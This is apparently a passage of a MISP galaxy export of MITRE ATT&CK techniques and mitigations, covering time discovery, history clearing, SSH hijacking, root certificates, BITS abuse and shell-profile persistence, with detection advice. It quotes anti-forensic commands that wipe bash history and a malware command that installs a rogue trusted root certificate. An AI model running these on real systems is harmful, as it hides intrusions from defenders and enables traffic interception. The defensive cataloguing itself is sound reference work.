The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)

An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm

/tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.

Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters, API monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Time Discovery - T1124"*

Table 2067. Table References

Links
https://attack.mitre.org/wiki/Technique/T1124
https://msdn.microsoft.com/ms724961.aspx
https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf

Clear Command History - T1146

macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.

Platforms: Linux, macOS

Data Sources: Authentication logs, File monitoring

Defense Bypassed: Log analysis, Host forensic analysis

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Clear Command History - T1146"*

Table 2068. Table References

Links
https://attack.mitre.org/wiki/Technique/T1146

Execution through Module Load - T1129

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;

*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);

*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;

*via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries can use this functionality as a way to execute arbitrary code on a system.

Detection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths.

Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

Platforms: Windows

Data Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring

Permissions Required: User

Contributors: Stefan Kanthak

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Execution through Module Load - T1129"*

Table 2069. Table References

Links
https://attack.mitre.org/wiki/Technique/T1129
https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files

SSH Hijacking - T1184

Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.

In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.

Detection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.

Platforms: Linux, macOS

Data Sources: Authentication logs

Permissions Required: User, root

System Requirements: SSH service enabled, trust relationships configured, established connections

Contributors: Anastasios Pingios

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="SSH Hijacking - T1184"*

Table 2070. Table References

Links
https://attack.mitre.org/wiki/Technique/T1184

https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219
https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf
https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)

Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>.

There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) *18F7C1FCC3090203FD5BAA2F861A754976C8DD25
*245C97DF7514E7CF2DF8BE72AE957B9E04741E85
*3B1EFD3A66EA28B16697394703A72CA340A05BD5
*7F88CD7223F3C813818C994614A89C99FA3B5247
*8F43288AD272F3103B6FB1428485EA3014C0BCFE
*A43489159A520F0D93D032CCAF37E7FE20A8B419
*BE36A4562FB2EE05DBB3D32323ADF445084ED656
*CDD4EEAE6000AC7F40C3802C171E30148030C072

Platforms: Linux, Windows, macOS

Data Sources: SSL/TLS inspection, Digital Certificate Logs

Defense Bypassed: Digital Certificate Validation

Permissions Required: Administrator, User

Contributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Install Root Certificate - T1130"*

Table 2071. Table References

Links
https://attack.mitre.org/wiki/Technique/T1130
https://en.wikipedia.org/wiki/Root%20certificate
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://objective-see.com/blog/blog%200x26.html
https://docs.microsoft.com/sysinternals/downloads/sigcheck

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Transfer Size Limits - T1030"*

Table 2072. Table References

Links
https://attack.mitre.org/wiki/Technique/T1030
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

.bash_profile and .bashrc - T1156

<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.

Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.

These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).

Detection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.

Platforms: Linux, macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern=".bash_profile and .bashrc - T1156"*

Table 2073. Table References

Links
https://attack.mitre.org/wiki/Technique/T1156
https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/

BITS Jobs - T1197

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin

Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)

Detection: BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)

Monitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)

Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)

Platforms: Windows

Data Sources: API monitoring, Packet capture, Windows event logs

Defense Bypassed: Firewall, Host forensic analysis

Permissions Required: User, Administrator, SYSTEM

Contributors: Ricardo Dias, Red Canary

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="BITS Jobs - T1197"*

Table 2074. Table References

Links
https://attack.mitre.org/wiki/Technique/T1197
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://www.secureworks.com/blog/malware-lingers-with-bits
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://www.symantec.com/connect/blogs/malware-update-windows-update
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
https://technet.microsoft.com/library/dd939934.aspx

Enterprise Attack - Course of Action

ATT&CK Mitigation.

Enterprise Attack - Course of Action is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Component Object Model Hijacking Mitigation - T1122

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Component Object Model Hijacking Mitigation - T1122"*

Component Object Model Hijacking Mitigation - T1122 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"*

Exfiltration Over Command and Control Channel Mitigation - T1041 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

Process Injection Mitigation - T1055

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)

Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Process Injection Mitigation - T1055"*

Process Injection Mitigation - T1055 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Bypass User Account Control Mitigation - T1088

Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking.

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Bypass User Account Control Mitigation - T1088"*

Bypass User Account Control Mitigation - T1088 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Command-Line Interface Mitigation - T1059

Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Command-Line Interface Mitigation - T1059"*

Command-Line Interface Mitigation - T1059 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="DLL Search Order Hijacking Mitigation - T1038"*

DLL Search Order Hijacking Mitigation - T1038 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Uncommonly Used Port Mitigation - T1065"*

Uncommonly Used Port Mitigation - T1065 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"

Network Share Discovery Mitigation - T1135

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Network Share Discovery Mitigation - T1135"*

Network Share Discovery Mitigation - T1135 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Regsvcs/Regasm Mitigation - T1121

Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Regsvcs/Regasm Mitigation - T1121"*

Regsvcs/Regasm Mitigation - T1121 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Application Deployment Software Mitigation - T1017"*

Application Deployment Software Mitigation - T1017 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"

Commonly Used Port Mitigation - T1043

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Commonly Used Port Mitigation - T1043"*

Commonly Used Port Mitigation - T1043 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Windows Management Instrumentation Mitigation - T1047

Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Windows Management Instrumentation Mitigation - T1047"*

Windows Management Instrumentation Mitigation - T1047 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Hooking Mitigation - T1179"*

Hooking Mitigation - T1179 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"

Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Sudo Mitigation - T1169"*

Sudo Mitigation - T1169 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"

Distributed Component Object Model Mitigation - T1175

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Distributed Component Object Model Mitigation - T1175"*

Distributed Component Object Model Mitigation - T1175 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Distributed Component Object Model - T1175" with estimative-language:likelihood-probability="almost-certain"

Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Path Interception Mitigation - T1034"*

Path Interception Mitigation - T1034 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"

Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Graphical User Interface Mitigation - T1061"*

Graphical User Interface Mitigation - T1061 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"

NTFS File Attributes Mitigation - T1096

It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="NTFS File Attributes Mitigation - T1096"*

NTFS File Attributes Mitigation - T1096 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"

Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Indicator Removal from Tools Mitigation - T1066"*

Indicator Removal from Tools Mitigation - T1066 has relationships with:

- mitigates: misp-galaxy:mitre-enterprise-attack-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"

Re-opened Applications Mitigation - T1164

Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.

The tag is: *misp-galaxy:mitre-enterprise-attack-course-of-action="Re-opened Applications Mitigation - T1164"*

Re-opened Applications Mitigation - T1164 has relationships with:

